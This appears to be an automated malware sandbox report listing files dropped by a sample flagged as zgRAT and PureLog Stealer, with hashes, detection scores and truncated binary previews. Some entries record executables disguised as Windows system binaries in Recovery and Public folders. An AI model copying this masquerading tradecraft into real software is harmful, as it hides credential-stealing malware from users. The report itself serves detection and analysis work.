SHA-512:	2C5454A679D81A6F4C6CCFBC17D8DA2E06A517BFCF12DFCC8AFAD7F1041D98998446E81292E5D2CC1527DC4D334451E9F97BE366F0A8D2348B7AFC9CE9C828FA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\Memory Compression.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\Memory Compression.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x.Zf.................<...........[... ...`....@.. ....................................@..................................[..K....`.. ............................................................................ ............... ..H............text....;... ...<.................. ..`.rsrc... ....`.......>..............@....reloc...............B..............@..B.................[......H.......................<....z...[.......................................0..........(.... ........8........E....).......M...`...8$...(.... ....~....{....:....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0.......... ........8........E............l.......`...8.......... ....8....~....(O... .... .... ....s....~....(S....... ....~....{....:....& ....8....r...ps....z....~....(W...~....([... ....?.... ........8G...~....:.... ....~....{b...:-...& ....8"...

C:\Recovery\NOFqHeDosUIopsPGLT.exe

Download File

Process:	C:\Chaindriver.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.53781423596998
Encrypted:	false
SSDEEP:	49152:R89kht8D3OiDl99jDZHVk+hBTw/uJNARR:RxhtxiRD/4+/Tw2JNAR
MD5:	64F81209BCCE8D36D800FEEC26D75990
SHA1:	B3E2F1B661ABC94D38B3BB471C7E0B75A1660D0F
SHA-256:	B727092B2C5BCEAA3E910EEDFCEC738810BD531DA5EB58FBB11D253CA48D1FE2
SHA-512:	2C5454A679D81A6F4C6CCFBC17D8DA2E06A517BFCF12DFCC8AFAD7F1041D98998446E81292E5D2CC1527DC4D334451E9F97BE366F0A8D2348B7AFC9CE9C828FA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Recovery\NOFqHeDosUIopsPGLT.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\NOFqHeDosUIopsPGLT.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\NOFqHeDosUIopsPGLT.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Recovery\NOFqHeDosUIopsPGLT.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x.Zf.................<...........[... ...`....@.. ....................................@..................................[..K....`.. ............................................................................ ............... ..H............text....;... ...<.................. ..`.rsrc... ....`.......>..............@....reloc...............B..............@..B.................[......H.......................<....z...[.......................................0..........(.... ........8........E....).......M...`...8$...(.... ....~....{....:....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0.......... ........8........E............l.......`...8.......... ....8....~....(O... .... .... ....s....~....(S....... ....~....{....:....& ....8....r...ps....z....~....(W...~....([... ....?.... ........8G...~....:.... ....~....{b...:-...& ....8"...

C:\Users\Default\Pictures\9e8d7a4ca61bd9

Download File

Process:	C:\Chaindriver.exe
File Type:	ASCII text, with very long lines (587), with no line terminators
Category:	dropped
Size (bytes):	587
Entropy (8bit):	5.8862628413604
Encrypted:	false
SSDEEP:	12:xYqlO8KfubtfJ47WrhLDp5OwkTnMM8Ec97dsY/PfHkRu+HMb565h+:xllvKg4aXp5OLT9lM68Hk2b53
MD5:	26F3EED3F2AD0836EB0F2BAAC1AEB009
SHA1:	E31F4422223C1187355E0E9EBC0055085D07A090
SHA-256:	148D29D81B6CC00C786FC46FF821A58FA8DAEF3B2961896A19F29962703CDDF5
SHA-512:	C137A52504685C3DF10F73FEC2BCCB00025DEE4F498C1DC3F737E745E1C2E4DA56F0866D4C4818299D1F42269F9F5AC71E0DA2F2B427962C272DBCF1D0916869
Malicious:	false
Preview:	vi7X5Q9RgTShBiUWNpQ1BCgl14KkHRvTJqZUYNL3T5XXAGfk9SpqWhitCWgAGZJOh9YUJ989eXiGoJkvZjkzmF6lIqSBrKx4wIzArKb9UqL98bE3vvlgyUmbDwMcr6RTkoUfTjDOIle537mqmZP6jQFcfY7588SYY2YUHijLrXXMzrhGJf0RqVuTi295mIQKTGhBiSiD0DOL22my00vcHArDIEwPinjjHN3sJgh16wbmGiapPLFvWxCSZd3dgTfMepEp94oTS4fUjE7jnG9XixNTKkSqmDVnRPIadvqUgvccSstUgT0aTInrbveYl8rOi2DT6gF2Zp1xUvAc17JTN5TJlb8sQSthEN3aoZYAO8AoR0WqvChnyYBni4sfhXlG6TtG1jxbjJEP4o1vES6OvFtqMP2ur3c0W4s7HPzLOFEoTvt3C6aPbXV0kC4mrDtprO2A64ozcu9pBEWag8sudNZ9i2XEUMeKWY7F2t7ISlwqXpzfpdGtV9Mdy3bDgjeQQzTmHRhxAkb2bsm3C1Y1GvzWMdQ9R3lsGgaiWNYY5SsvhUCFRiBpLnJe96ZnBifG8sv4SEgzcA5

C:\Users\Default\Pictures\RuntimeBroker.exe

Download File

Process:	C:\Chaindriver.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.53781423596998
Encrypted:	false
SSDEEP:	49152:R89kht8D3OiDl99jDZHVk+hBTw/uJNARR:RxhtxiRD/4+/Tw2JNAR
MD5:	64F81209BCCE8D36D800FEEC26D75990
SHA1:	B3E2F1B661ABC94D38B3BB471C7E0B75A1660D0F
SHA-256:	B727092B2C5BCEAA3E910EEDFCEC738810BD531DA5EB58FBB11D253CA48D1FE2
SHA-512:	2C5454A679D81A6F4C6CCFBC17D8DA2E06A517BFCF12DFCC8AFAD7F1041D98998446E81292E5D2CC1527DC4D334451E9F97BE366F0A8D2348B7AFC9CE9C828FA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\Default\Pictures\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\Default\Pictures\RuntimeBroker.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x.Zf.................<...........[... ...`....@.. ....................................@..................................[..K....`.. ............................................................................ ............... ..H............text....;... ...<.................. ..`.rsrc... ....`.......>..............@....reloc...............B..............@..B.................[......H.......................<....z...[.......................................0..........(.... ........8........E....).......M...`...8$...(.... ....~....{....:....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0.......... ........8........E............l.......`...8.......... ....8....~....(O... .... .... ....s....~....(S....... ....~....{....:....& ....8....r...ps....z....~....(W...~....([... ....?.... ........8G...~....:.... ....~....{b...:-...& ....8"...

C:\Users\Public\Libraries\36c782484df200

Download File

Process:	C:\Chaindriver.exe
File Type:	ASCII text, with very long lines (322), with no line terminators
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.801479789505418
Encrypted:	false
SSDEEP:	6:W1t1NS9Py/DdvPCLvyhTcTqhDcBLaWeH3Nz8nu1ilKtHKkf9IRWLcn:W1/NS0/DdiT04TqhD4aWSd4u1iUqTR/n
MD5:	442524B80F5B78B00AE69A07E3DA8E5B
SHA1:	2BBB2C49EF0697482117572DE97D3DF81A3B5E90
SHA-256:	6F48B28CBC69A6CB8A3716D4F3EF38785E17593A8500C8A3DE803B77B055DF6F
SHA-512:	CFEF70647EDE81CB5FC08C0201CE32A26875C715D75B779C2925B4D2E3D8213ABA63410DC3BD01843FAC355693EAD5864B6F2DEA3F27950D40B651B4014F6516
Malicious:	false
Preview:	xaYJamAasaAJ4ISTAYtYK0NdhcL14MXS3lC8SbH7TIqB6O6Ahc6hyTI6N5m7bJggDsPTGUBiRwECKLhSfKTcP0dkcFuXzJgKmJ8N8n4NaYPBOGwCYTcQzDRNOo0AjnsIQ3ZANTU2PGB0kbWVTs9gqPVi2v9Uw4owpHvUrvzE9kBtCamwSeq1oMbBi0IcT9FVbOLcqBoi34gGNlfbINCRNwIcqtv0mWv9eqRyPKFQ0I8uqUx6UrUG7xHpGsw7Qy5gJgmhUrL7HwbFyXwV6yf5CoCrimrhXIACMblJsPmmfW8KVB0s5aAbSAded48sAok8wZ

C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe

Download File

Process:	C:\Chaindriver.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1917952
Entropy (8bit):	7.53781423596998
Encrypted:	false
SSDEEP:	49152:R89kht8D3OiDl99jDZHVk+hBTw/uJNARR:RxhtxiRD/4+/Tw2JNAR
MD5:	64F81209BCCE8D36D800FEEC26D75990
SHA1:	B3E2F1B661ABC94D38B3BB471C7E0B75A1660D0F
SHA-256:	B727092B2C5BCEAA3E910EEDFCEC738810BD531DA5EB58FBB11D253CA48D1FE2
SHA-512:	2C5454A679D81A6F4C6CCFBC17D8DA2E06A517BFCF12DFCC8AFAD7F1041D98998446E81292E5D2CC1527DC4D334451E9F97BE366F0A8D2348B7AFC9CE9C828FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...x.Zf.................<...........[... ...`....@.. ....................................@..................................[..K....`.. ............................................................................ ............... ..H............text....;... ...<.................. ..`.rsrc... ....`.......>..............@....reloc...............B..............@..B.................[......H.......................<....z...[.......................................0..........(.... ........8........E....).......M...`...8$...(.... ....~....{....:....& ....8....(.... ....~....{....9....& ....8....(.... ........8........0.......... ........8........E............l.......`...8.......... ....8....~....(O... .... .... ....s....~....(S....... ....~....{....:....& ....8....r...ps....z....~....(W...~....([... ....?.... ........8G...~....:.... ....~....{b...:-...& ....8"...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Chaindriver.exe.log

Download File

Process:	C:\Chaindriver.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1396
Entropy (8bit):	5.350961817021757
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNrJE4qtE4KlOU4mZsXE4Npv:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHKu
MD5:	EBB3E33FCCEC5303477CB59FA0916A28
SHA1:	BBF597668E3DB4721CA7B1E1FE3BA66E4D89CD89
SHA-256:	DF0C7154CD75ADDA09758C06F758D47F20921F0EB302310849175D3A7346561F
SHA-512:	663994B1F78D05972276CD30A28FE61B33902D71BF1DFE4A58EA8EEE753FBDE393213B5BA0C608B9064932F0360621AF4B4190976BE8C00824A6EA0D76334571
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Memory Compression.exe.log

Download File

Process:	C:\Recovery\Memory Compression.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	5.370675888495854
Encrypted:	false
SSDEEP:	48:MxHKQwYHKGSI6oPtHTHhAHKKkrJHmHKlT4v1qHGIs0HKD:iqbYqGSI6oPtzHeqKktGqZ4vwmj0qD
MD5:	5ACBB013936118762389287938AE0885
SHA1:	12C6B0AA2B5238E3154F3B538124EE9DB0E496D6
SHA-256:	28E292538199310B7DA27C6C743EFD34E1F806D28611B6C9EF4212D132272DEF
SHA-512:	E803C699BE7FC25FF09D1DEE86412CE8F18834E22E20B7D036323B740891A64B2CE33D0E0BD075178F0B6F496BA9CFBF7EF1A0884FE5E470C8CCF6D824891C77
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..2,"System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutr

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NOFqHeDosUIopsPGLT.exe.log

Download File

Process:	C:\Users\Public\Libraries\NOFqHeDosUIopsPGLT.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.354334472896228
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQwYHKGSI6oPtHTHhAHKKkb
MD5:	9F9FA9EFE67E9BBD165432FA39813EEA
SHA1:	6FE9587FB8B6D9FE9FA9ADE987CB8112C294247A
SHA-256:	4488EA75E0AC1E2DEB4B7FC35D304CAED2F877A7FB4CC6B8755AE13D709CF37B
SHA-512:	F4666179D760D32871DDF54700D6B283AD8DA82FA6B867A214557CBAB757F74ACDFCAD824FB188005C0CEF3B05BF2352B9CA51B2C55AECF762468BB8F5560DB3
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Configuration\915c1ee906bd8dfc15398a4bab4acb48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\8xzCCjkggZ

Download File

Process:	C:\Recovery\Memory Compression.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.103465189601646
Encrypted:	false
SSDEEP:	3:+efJFVTX:++TX
MD5:	67F6B0A831C3211FC370A244DBD38C38
SHA1:	F0FE2E1FCA5186928111C0A123A6720366B3C55D
SHA-256:	DC45D6B2F7B7D5F3B289E46096711CC60777C2E1867B511E2A69DD844909D372
SHA-512:	8E56FD19C70506E1360C714F63E27C055E20B87FB15C626557DDF93CB4E9B2E9256E77BAB08C9713C8D355BAD4E19BB69CB78B3027D8942277B568CECDE14219
Malicious:	false
Preview:	PBCBkTzgbEvPABfc23bf7HFPr

C:\Users\user\AppData\Local\Temp\RES953C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x6d4, 10 symbols, created Thu Jan 2 08:09:23 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1932
Entropy (8bit):	4.533414842309649
Encrypted:	false
SSDEEP:	24:Hk29uXOXJTRoFDfH1wKpWN8luxOysuZhN7jSjRzPNnqpdt4+lEbNFjMyi0+IlUZ:VXdRoZ2KwKluOulajfqXSfbNtmhI2Z
MD5:	F0ADE884D3297CCAE34B4D6E80543E1A
SHA1:	962E878B4A0502DBDC754B357CCD4E28D44CC999
SHA-256:	75D3EAC4FB3FCB3BC6045B386590A89BAE3B2404566D4BEBD352B82F41D63E2E
SHA-512:	58A2B3C412DE67278DC579752E240646D7AC06C723AFD21068F66DEEC06379D58F3F5C8E29FB00D1DD42FE17A9E1B12E30D45CAFCA19E9CCBA04A84063DC0EF8
Malicious:	false
Preview:	L....Ivg.............debug$S........$...................@..B.rsrc$01................P...........@..@.rsrc$02........p...d...............@..@........<....c:\Windows\System32\CSCE25282B3313D430FBB6BBFE2CFE4882.TMP..................r.av..t.y..............4.......C:\Users\user\AppData\Local\Temp\RES953C.tmp.-.<....................a..Microsoft (R) CVTRES.K.=..cwd.C:\.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe........................ .......8.......................P.......................h.......................................................\|...............................................\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...

C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2117940
Entropy (8bit):	7.868424477636117
Encrypted:	false
SSDEEP:	49152:wZB1G8YjefBxKeUWwRHYv85Yoo3fGafaf0MgPzyFK:+3GwJx2xtQhaf0HyFK
MD5:	B0A28FF93B030B10FD70698A5A7C27D0
SHA1:	1A4BB1BDE02AF64D651E774C811282285B5C8063
SHA-256:	CB3AF34EBD6827F396DE4A91329C45EC6ED5C623B004D2D932213C1E622A07D5
SHA-512:	5172B92531979B6F328668978A8074E8724FFB62A599CE29394B09DD104ACF607B374CBCD2EA152642FAB5DE26D3EC924B63C4E37D1D1CA8042C288895C3F31B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i..i.\.i..b.\.i..g.\.`.].C.\..Y.R.\..\.a.\...a.\..^.a.\.Rich`.\.........PE..d...{S.e.........."....!.h...j......`..........@..........................................`.............................................4......P...............l0..............p....6..T....................7..(......@....................... ....................text....f.......h.................. ..`.rdata...(.......*...l..............@..@.data...\...........................@....pdata..l0.......2..................@..@.didat..`...........................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..p...........................@..B........................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75042\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	96120
Entropy (8bit):	6.440691568981583
Encrypted:	false
SSDEEP:	1536:dkb0wrlWxdV4tyfa/PUFSAM/HQUucN2f0MFOqH+F3fecbTUEuvw:dWD4eUp+HQpcNg0MFnH+F3fecbTUED
MD5:	4A365FFDBDE27954E768358F4A4CE82E
SHA1:	A1B31102EEE1D2A4ED1290DA2038B7B9F6A104A3
SHA-256:	6A0850419432735A98E56857D5CFCE97E9D58A947A9863CA6AFADD1C7BCAB27C
SHA-512:	54E4B6287C4D5A165509047262873085F50953AF63CA0DCB7649C22ABA5B439AB117A7E0D6E7F0A3E51A23E28A255FFD1CA1DDCE4B2EA7F87BCA1C9B0DBE2722
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........~.[...[...[.......Y...R...P...[...w.......V.......K.......D.......Z......Z.......Z...Rich[...................PE..d....R^`.........." .........^......`.....................................................`A.........................................A..4....I...............`..L....T..x#..........H,..T............................,..8............................................text............................... ..`.rdata...?.......@..................@..@.data...@....P.......<..............@....pdata..L....`.......@..............@..@_RDATA.......p.......L..............@..@.rsrc................N..............@..@.reloc...............R..............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75042\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	86704
Entropy (8bit):	6.416293565012624
Encrypted:	false
SSDEEP:	1536:5XZb8z78wjtQYeO9vDTwE0UaDnV8AQ6HiI37mZIyMVm/yH:5pAzjXeovDsE0UaDnaAQ6HiI3SZIyMVT
MD5:	E91B4F8E1592DA26BACACEB542A220A8
SHA1:	5459D4C2147FA6DB75211C3EC6166B869738BD38
SHA-256:	20895FA331712701EBFDBB9AB87E394309E910F1D782929FD65B59ED76D9C90F
SHA-512:	CB797FA758C65358E5B0FEF739181F6B39E0629758A6F8D5C4BD7DC6422001769A19DF0C746724FB2567A58708B18BBD098327BFBDF3378426049B113EB848E9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[..>...m...m...m...m...ms..l...my.cm...ms..l...ms..l...ms..l...m..l...mD..l...m...m...m..l...m..l...m.am...m..l...mRich...m........PE..d...=3.`.........." .........f.......................................................^....`.........................................`&..H....&.......`.......P..4....6.......p...... ...T...............................8...............@............................text............................... ..`.rdata...B.......D..................@..@.data........@......................@....pdata..4....P....... ..............@..@.rsrc........`.......*..............@..@.reloc.......p.......4..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75042\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	271024
Entropy (8bit):	6.526193734528701
Encrypted:	false
SSDEEP:	6144:1y+R2gXaCSVl9yYWDKsSaHlbVTimGDIrfp/AQx9qWMa3pLW1Aqe36bMNrCb:fXaCSr9kDjv//0OnDrCb
MD5:	65287FD87A64BC756867A1AFDDEC9E29
SHA1:	CDA1DB353F81DF7A4A818ADD8F87BCA9AC840455
SHA-256:	DF19C2E6EC3145166FA8D206C11DB78BC1979A027105C4F21D40410B5082BA34
SHA-512:	3E3F19CF965B260FFC68E45D5101234E8A957411C076A0D487D307DCFA714A9801CB501224FE7621937AEBDF90275F655C8A70DD6675BCFB5374404FDA53236F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Q..H0.H0.H0.AH@.F0.$D.J0.$D.D0.$D.@0.$D.L0..D.K0..X.J0.H0..0..D.I0..D.G0..D.I0..D,.I0..D.I0.RichH0.........................PE..d...+3.`.........." .........H...............................................@............`.........................................p...P............ ..........X,...........0..`...p...T...............................8...............(............................text............................... ..`.rdata..............................@..@.data...X*.......$..................@....pdata..X,..........................@..@.rsrc........ ......................@..@.reloc..`....0......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75042\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	66224
Entropy (8bit):	6.0452398780318815
Encrypted:	false
SSDEEP:	768:Pyz+AYBOBSFlUx/tF5IzZL0fpde9E9GD2Fe7POoJp3RIyYIeqDG4yvOhz:QfBSbyFy1kumGM4Oo/RIyYIeuyvy
MD5:	7C69CB3CB3182A97E3E9A30D2241EBED
SHA1:	1B8754FF57A14C32BCADC330D4880382C7FFFC93
SHA-256:	12A84BACB071B1948A9F751AC8D0653BA71A8F6B217A69FE062608E532065C20
SHA-512:	96DBABBC6B98D473CBE06DCD296F6C6004C485E57AC5BA10560A377393875192B22DF8A7103FE4A22795B8D81B8B0AE14CE7646262F87CB609B9E2590A93169E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?...^..^..^..&e.^.....^.....^.....^.....^..S..^...6..^../7..^..^...^..S..^..S..^..S..^..S*..^..Rich.^..........PE..d...>3.`.........." .....d..........XC.......................................0.......T....`.............................................P.................................... ..........T...........................P...8............................................text....b.......d.................. ..`.rdata..8R.......T...h..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75042\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	162992
Entropy (8bit):	6.767227461585096
Encrypted:	false
SSDEEP:	3072:ajV4pA1vcDRI45a4I9ihQsDPGAznfo9mNo6ndir1NZIyD1UsVM:ajV4pA10Dj5azDePlwYO6cr1NFVM
MD5:	493C33DDF375B394B648C4283B326481
SHA1:	59C87EE582BA550F064429CB26AD79622C594F08
SHA-256:	6384DED31408788D35A89DC3F7705EA2928F6BBDEB8B627F0D1B2D7B1EA13E16
SHA-512:	A4A83F04C7FC321796CE6A932D572DCA1AD6ECEFD31002320AEAA2453701ED49EF9F0D9BA91C969737565A6512B94FBB0311AEE53D355345A03E98F43E6F98B2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Q...0.C.0.C.0.C.HMC.0.C.D.B.0.C.D.B.0.C.D.B.0.C.D.B.0.C>D.B.0.C.X.B.0.C.0.C.0.C>D.B.0.C>D.B.0.C>D!C.0.C>D.B.0.CRich.0.C........PE..d...F3.`.........." .....\|...........2....................................................`..........................................6..L....7..x............`.......`..........4...x...T..............................8...............8............................text...}z.......\|.................. ..`.rdata..............................@..@.data........P.......4..............@....pdata.......`.......<..............@..@.rsrc................T..............@..@.reloc..4............^..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75042\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	80048
Entropy (8bit):	6.145505737856069
Encrypted:	false
SSDEEP:	1536:AeG2cHel7zjv5Qe9AM9/s+m+p7ncSrpZjxk1IyBwayyq:3IyzjeMAM9/sb+p4Srbji1IyBwD
MD5:	FD1CFE0F0023C5780247F11D8D2802C9
SHA1:	5B29A3B4C6EDB6FA176077E1F1432E3B0178F2BC
SHA-256:	258A5F0B4D362B2FED80B24EEABCB3CDD1602E32FF79D87225DA6D15106B17A6
SHA-512:	B304A2E56829A557EC401C6FDDA78D6D05B7495A610C1ED793D6B25FC5AF891CB2A1581ADDB27AB5E2A6CB0BE24D9678F67B97828015161BC875DF9B7B5055AE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......j...........'.p.(..B..,..B.."..B..&..B..-.....,..u..)........../...../....../...../..Rich...................PE..d...;3.`.........." .....z...........(.......................................`.......=....`.........................................p...P............@.......0...............P..........T...........................P...8............................................text...ny.......z.................. ..`.rdata...y.......z...~..............@..@.data...(...........................@....pdata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI75042\base_library.zip

Download File

Process:	C:\Users\user\Desktop\t8F7Ic986c.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	846629
